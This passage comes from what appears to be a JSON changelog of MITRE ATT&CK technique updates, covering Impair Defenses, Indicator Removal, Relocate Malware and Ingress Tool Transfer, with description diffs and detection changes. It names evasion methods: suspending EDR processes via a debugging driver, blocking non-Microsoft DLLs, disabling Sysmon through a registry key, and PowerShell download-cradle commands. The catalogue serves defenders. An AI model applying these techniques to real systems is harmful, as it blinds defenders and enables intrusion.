tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\\n\\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,8 @@\\n Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\\n \\n-Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) Alternatively, they may add new directories to an endpoint detection and response (EDR) tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n+Adversaries may trigger a denial-of-service attack via legitimate system processes. It has been previously observed that the Windows Time Travel Debugging (TTD) monitor driver can be used to initiate a debugging session for a security tool (e.g., an EDR) and render the tool non-functional. By hooking the debugger into the EDR process, all child processes from the EDR will be automatically suspended. The attacker can terminate any EDR helper processes (unprotected by Windows Protected Process Light) by abusing the Process Explorer driver. In combination this will halt any attempt to restart services and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboot)\\n+\\n+Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) For example, adversaries may abuse the Windows process mitigation policy to block certain endpoint detection and response (EDR) products from loading their user-mode code via DLLs. By spawning a process with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute using API calls like UpdateProcThreadAttribute, adversaries may evade detection by endpoint security solutions that rely on DLLs that are not signed by Microsoft. Alternatively, they may add new directories to an EDR tool\\u2019s exclusion list, enabling them to hide malicious files via [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012).(Citation: BlackBerry WhisperGate 2022)(Citation: Google Cloud Threat Intelligence FIN13 2021)\\n \\n Adversaries may also focus on specific applications such as Sysmon. For example, the \\u201cStart\\u201d and \\u201cEnable\\u201d values in HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\\n\\nLack of expected log events may be suspicious.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\\n-\\n-Lack of expected log events may be suspicious.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.7\", \"old_value\": \"1.6\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Gordon Long, LegioX/Zoom, asaurusrex\", \"old_value\": \"Gordon Long, Box, Inc., @ethicalhax\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Cocomazzi FIN7 Reboot\", \"description\": \"Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.\", \"url\": \"https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/\"}, \"root['x_mitre_contributors'][10]\": \"Nay Myo Hlaing (Ethan), DBS Bank\"}}", + "previous_version": "1.6", + "version_change": "1.6 \u2192 1.7", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may modify and/or disable security tools to avoit1Adversaries may modify and/or disable security tools to avoi
>d possible detection of their malware/tools and activities. >d possible detection of their malware/tools and activities. 
>This may take many forms, such as killing security software >This may take many forms, such as killing security software 
>processes or services, modifying / deleting Registry keys or>processes or services, modifying / deleting Registry keys or
> configuration files so that tools do not operate properly, > configuration files so that tools do not operate properly, 
>or other methods to interfere with security tools scanning o>or other methods to interfere with security tools scanning o
>r reporting information. Adversaries may also disable update>r reporting information. Adversaries may also disable update
>s to prevent the latest security patches from reaching tools>s to prevent the latest security patches from reaching tools
> on victim systems.(Citation: SCADAfence_ransomware)  Advers> on victim systems.(Citation: SCADAfence_ransomware)  Advers
>aries may also tamper with artifacts deployed and utilized b>aries may trigger a denial-of-service attack via legitimate 
>y security tools. Security tools may make dynamic changes to>system processes. It has been previously observed that the W
> system components in order to maintain visibility into spec>indows Time Travel Debugging (TTD) monitor driver can be use
>ific events. For example, security products may load their o>d to initiate a debugging session for a security tool (e.g.,
>wn modules and/or modify those loaded by processes to facili> an EDR) and render the tool non-functional.  By hooking the
>tate data collection. Similar to [Indicator Blocking](https:> debugger into the EDR process, all child processes from the
>//attack.mitre.org/techniques/T1562/006), adversaries may un> EDR will be automatically suspended. The attacker can termi
>hook or otherwise modify these features added by tools (espe>nate any EDR helper processes (unprotected by Windows Protec
>cially those that exist in userland or are otherwise potenti>ted Process Light) by abusing the Process Explorer driver. I
>ally accessible to adversaries) to avoid detection.(Citation>n combination this will halt any attempt to restart services
>: OutFlank System Calls)(Citation: MDSec System Calls) Alter> and cause the tool to crash.(Citation: Cocomazzi FIN7 Reboo
>nativelythey may add new directories to an endpoint detect>t)  Adversaries may also tamper with artifacts deployed and 
>ion and response (EDR) tool\u2019s exclusion list, enabling them >utilized by security tools. Security tools may make dynamic 
>to hide malicious files via [File/Path Exclusions](https://a>changes to system components in order to maintain visibility
>ttack.mitre.org/techniques/T1564/012).(Citation: BlackBerry > into specific events. For example, security products may lo
>WhisperGate 2022)(Citation: Google Cloud Threat Intelligence>ad their own modules and/or modify those loaded by processes
> FIN13 2021)  Adversaries may also focus on specific applica> to facilitate data collection. Similar to [Indicator Blocki
>tions such as Sysmon. For example, the \u201cStart\u201d and \u201cEnable\u201d >ng](https://attack.mitre.org/techniques/T1562/006), adversar
>values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\>ies may unhook or otherwise modify these features added by t
>Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Ope>ools (especially those that exist in userland or are otherwi
>rational</code> may be modified to tamper with and potential>se potentially accessible to adversaries) to avoid detection
>ly disable Sysmon logging.(Citation: disable_win_evt_logging>.(Citation: OutFlank System Calls)(Citation: MDSec System Ca
>)   On network devices, adversaries may attempt to skip digi>lls) For exampleadversaries may abuse the Windows process 
>tal signature verification checks by altering startup config>mitigation policy to block certain endpoint detection and re
>uration files and effectively disabling firmware verificatio>sponse (EDR) products from loading their user-mode code via 
>n that typically occurs at boot.(Citation: Fortinet Zero-Day>DLLs. By spawning a process with the PROCESS_CREATION_MITIGA
> and Custom Malware Used by Suspected Chinese Actor in Espio>TION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON attribute
>nage Operation)(Citation: Analysis of FG-IR-22-369)  In clou> using API calls like UpdateProcThreadAttribute, adversaries
>d environments, tools disabled by adversaries may include cl> may evade detection by endpoint security solutions that rel
>oud monitoring agents that report back to services such as A>y on DLLs that are not signed by Microsoft. Alternatively, t
>WS CloudWatch or Google Cloud Monitor.  Furthermore, althoug>hey may add new directories to an EDR tool\u2019s exclusion list,
>h defensive tools may have anti-tampering mechanisms, advers> enabling them to hide malicious files via [File/Path Exclus
>aries may abuse tools such as legitimate rootkit removal kit>ions](https://attack.mitre.org/techniques/T1564/012).(Citati
>s to impair and/or disable these tools.(Citation: chasing_av>on: BlackBerry WhisperGate 2022)(Citation: Google Cloud Thre
>addon_ransomware)(Citation: dharma_ransomware)(Citation: dem>at Intelligence FIN13 2021)  Adversaries may also focus on s
>ystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For exam>pecific applications such as Sysmon. For example, the \u201cStart
>ple, adversaries have used tools such as GMER to find and sh>\u201d and \u201cEnable\u201d values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\Cur
>ut down hidden processes and antivirus software on infected >rentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Win
>systems.(Citation: demystifying_ryuk)  Additionally, adversa>dows-Sysmon-Operational</code> may be modified to tamper wit
>ries may exploit legitimate drivers from anti-virus software>h and potentially disable Sysmon logging.(Citation: disable_
> to gain access to kernel space (i.e. [Exploitation for Priv>win_evt_logging)   On network devices, adversaries may attem
>ilege Escalation](https://attack.mitre.org/techniques/T1068)>pt to skip digital signature verification checks by altering
>), which may lead to bypassing anti-tampering features.(Cita> startup configuration files and effectively disabling firmw
>tion: avoslocker_ransomware)>are verification that typically occurs at boot.(Citation: Fo
 >rtinet Zero-Day and Custom Malware Used by Suspected Chinese
 > Actor in Espionage Operation)(Citation: Analysis of FG-IR-2
 >2-369)  In cloud environments, tools disabled by adversaries
 > may include cloud monitoring agents that report back to ser
 >vices such as AWS CloudWatch or Google Cloud Monitor.  Furth
 >ermore, although defensive tools may have anti-tampering mec
 >hanisms, adversaries may abuse tools such as legitimate root
 >kit removal kits to impair and/or disable these tools.(Citat
 >ion: chasing_avaddon_ransomware)(Citation: dharma_ransomware
 >)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowds
 >trike) For example, adversaries have used tools such as GMER
 > to find and shut down hidden processes and antivirus softwa
 >re on infected systems.(Citation: demystifying_ryuk)  Additi
 >onally, adversaries may exploit legitimate drivers from anti
 >-virus software to gain access to kernel space (i.e. [Exploi
 >tation for Privilege Escalation](https://attack.mitre.org/te
 >chniques/T1068)), which may lead to bypassing anti-tampering
 > features.(Citation: avoslocker_ransomware)
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1038: Execution Prevention", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Termination)", + "DS0013: Sensor Health (Host Status)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Metadata)", + "DS0024: Windows Registry (Windows Registry Key Deletion)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0027: Driver (Driver Load)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0497: Detection of Impair Defenses through Disabled or Modified Tools across OS Platforms." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:55.892000+00:00", + "modified": "2025-10-24 17:48:59.237000+00:00", + "name": "Indicator Removal", + "description": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070", + "external_id": "T1070" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Brad Geesaman, @bradgeesaman", + "Ed Williams, Trustwave, SpiderLabs", + "Blake Strom, Microsoft 365 Defender" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Office Suite", + "Windows" + ], + "x_mitre_version": "2.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Scheduled Job: Scheduled Job Modification\", \"File: File Modification\", \"Firewall: Firewall Rule Modification\", \"User Account: User Account Authentication\", \"File: File Metadata\", \"User Account: User Account Deletion\", \"Process: OS API Execution\", \"Application Log: Application Log Content\", \"Command: Command Execution\", \"File: File Deletion\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Network Traffic: Network Traffic Content\", \"Windows Registry: Windows Registry Key Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.237000+00:00\", \"old_value\": \"2025-04-15 19:58:43.436000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.4\", \"old_value\": \"2.3\"}}}", + "previous_version": "2.3", + "version_change": "2.3 \u2192 2.4", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1029: Remote Data Storage", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0002: User Account (User Account Deletion)", + "DS0003: Scheduled Job (Scheduled Job Modification)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0018: Firewall (Firewall Rule Modification)", + "DS0022: File (File Deletion)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Deletion)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0184: Behavioral Detection of Indicator Removal Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cc36eeae-2209-4e63-89d3-c97e19edf280", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-31 11:07:57.406000+00:00", + "modified": "2025-10-05 16:08:40.119000+00:00", + "name": "Relocate Malware", + "description": "Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts.\n\nRelocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)\n\nRelocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., [Timestomp](https://attack.mitre.org/techniques/T1070/006)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/010", + "external_id": "T1070.010" + }, + { + "source_name": "Latrodectus APR 2024", + "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice" + }, + { + "source_name": "DFIR Report Trickbot June 2023", + "description": "The DFIR Report. (2023, June 12). A Truly Graceful Wipe Out. Retrieved May 31, 2024.", + "url": "https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Matt Anderson, @\u200cnosecurething, Huntress", + "Gregory Frey" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Network Devices" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-05 16:08:40.119000+00:00\", \"old_value\": \"2025-04-15 19:59:08.329000+00:00\"}, \"root['description']\": {\"new_value\": \"Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts.\\n\\nRelocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)\\n\\nRelocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., [Timestomp](https://attack.mitre.org/techniques/T1070/006)).\", \"old_value\": \"Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses. Copying malware payloads to new locations may also be combined with [File Deletion](https://attack.mitre.org/techniques/T1070/004) to cleanup older artifacts.\\n\\nRelocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)\\n\\nRelocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Relocating malware may be a part of many actions intended to evade defenses. For example, adversaries may copy and rename payloads to better blend into the local environment (i.e., [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: DFIR Report Trickbot June 2023) Payloads may also be repositioned to target [File/Path Exclusions](https://attack.mitre.org/techniques/T1564/012) as well as specific locations associated with establishing [Persistence](https://attack.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)\\n \\n-Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders.\\n+Relocating malicious payloads may also hinder defensive analysis, especially to separate these payloads from earlier events (such as [User Execution](https://attack.mitre.org/techniques/T1204) and [Phishing](https://attack.mitre.org/techniques/T1566)) that may have generated alerts or otherwise drawn attention from defenders. Moving payloads into target directories does not alter the Creation timestamp, thereby evading detection logic reliant on modifications to this artifact (i.e., [Timestomp](https://attack.mitre.org/techniques/T1070/006)).\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Gregory Frey\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Once a payload is delivered, adversaries may reproduce copiet1Once a payload is delivered, adversaries may reproduce copie
>s of the same malware on the victim system to remove evidenc>s of the same malware on the victim system to remove evidenc
>e of their presence and/or avoid defenses. Copying malware p>e of their presence and/or avoid defenses. Copying malware p
>ayloads to new locations may also be combined with [File Del>ayloads to new locations may also be combined with [File Del
>etion](https://attack.mitre.org/techniques/T1070/004) to cle>etion](https://attack.mitre.org/techniques/T1070/004) to cle
>anup older artifacts.  Relocating malware may be a part of m>anup older artifacts.  Relocating malware may be a part of m
>any actions intended to evade defenses. For example, adversa>any actions intended to evade defenses. For example, adversa
>ries may copy and rename payloads to better blend into the l>ries may copy and rename payloads to better blend into the l
>ocal environment (i.e., [Match Legitimate Resource Name or L>ocal environment (i.e., [Match Legitimate Resource Name or L
>ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci>ocation](https://attack.mitre.org/techniques/T1036/005)).(Ci
>tation: DFIR Report Trickbot June 2023) Payloads may also be>tation: DFIR Report Trickbot June 2023) Payloads may also be
> repositioned to target [File/Path Exclusions](https://attac> repositioned to target [File/Path Exclusions](https://attac
>k.mitre.org/techniques/T1564/012) as well as specific locati>k.mitre.org/techniques/T1564/012) as well as specific locati
>ons associated with establishing [Persistence](https://attac>ons associated with establishing [Persistence](https://attac
>k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)>k.mitre.org/tactics/TA0003).(Citation: Latrodectus APR 2024)
>  Relocating malicious payloads may also hinder defensive an>  Relocating malicious payloads may also hinder defensive an
>alysis, especially to separate these payloads from earlier e>alysis, especially to separate these payloads from earlier e
>vents (such as [User Execution](https://attack.mitre.org/tec>vents (such as [User Execution](https://attack.mitre.org/tec
>hniques/T1204) and [Phishing](https://attack.mitre.org/techn>hniques/T1204) and [Phishing](https://attack.mitre.org/techn
>iques/T1566)) that may have generated alerts or otherwise dr>iques/T1566)) that may have generated alerts or otherwise dr
>awn attention from defenders.>awn attention from defenders. Moving payloads into target di
 >rectories does not alter the Creation timestamp, thereby eva
 >ding detection logic reliant on modifications to this artifa
 >ct (i.e., [Timestomp](https://attack.mitre.org/techniques/T1
 >070/006)).
", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0439: Detection of Malware Relocation via Suspicious File Movement" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:16.408000+00:00", + "modified": "2025-10-24 17:49:32.714000+00:00", + "name": "Ingress Tool Transfer", + "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, [certutil](https://attack.mitre.org/software/S0160), and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas) A number of these tools, such as `wget`, `curl`, and `scp`, also exist on ESXi. After downloading a file, a threat actor may attempt to verify its integrity by checking its hash value (e.g., via `certutil -hashfile`).(Citation: Google Cloud Threat Intelligence COSCMICENERGY 2023)\n\nAdversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by [User Execution](https://attack.mitre.org/techniques/T1204) (typically after interacting with [Phishing](https://attack.mitre.org/techniques/T1566) lures).(Citation: T1105: Trellix_search-ms)\n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.(Citation: Dropbox Malware Sync)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1105", + "external_id": "T1105" + }, + { + "source_name": "T1105: Trellix_search-ms", + "description": " Mathanraj Thangaraju, Sijo Jacob. (2023, July 26). Beyond File Search: A Novel Method for Exploiting the \"search-ms\" URI Protocol Handler. Retrieved March 15, 2024.", + "url": "https://www.trellix.com/blogs/research/beyond-file-search-a-novel-method/" + }, + { + "source_name": "Google Cloud Threat Intelligence COSCMICENERGY 2023", + "description": "COSMICENERGY: New OT Malware Possibly Related To Russian Emergency Response Exercises. (2023, May 25). Ken Proska, Daniel Kapellmann Zafra, Keith Lunden, Corey Hildebrandt, Rushikesh Nandedkar, Nathan Brubaker. Retrieved March 18, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/cosmicenergy-ot-malware-russian-response/" + }, + { + "source_name": "Dropbox Malware Sync", + "description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.", + "url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "t1105_lolbas", + "description": "LOLBAS. (n.d.). LOLBAS Mapped to T1105. Retrieved March 11, 2022.", + "url": "https://lolbas-project.github.io/#t1105" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Alain Homewood", + "Jeremy Hedges", + "Joe Wise", + "John Page (aka hyp3rlinx), ApparitionSec", + "Mark Wee", + "Peter Oakes", + "Selena Larson, @selenalarson", + "Shailesh Tiwary (Indian Army)", + "The DFIR Report", + "Don Le, Stifel Financial" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", 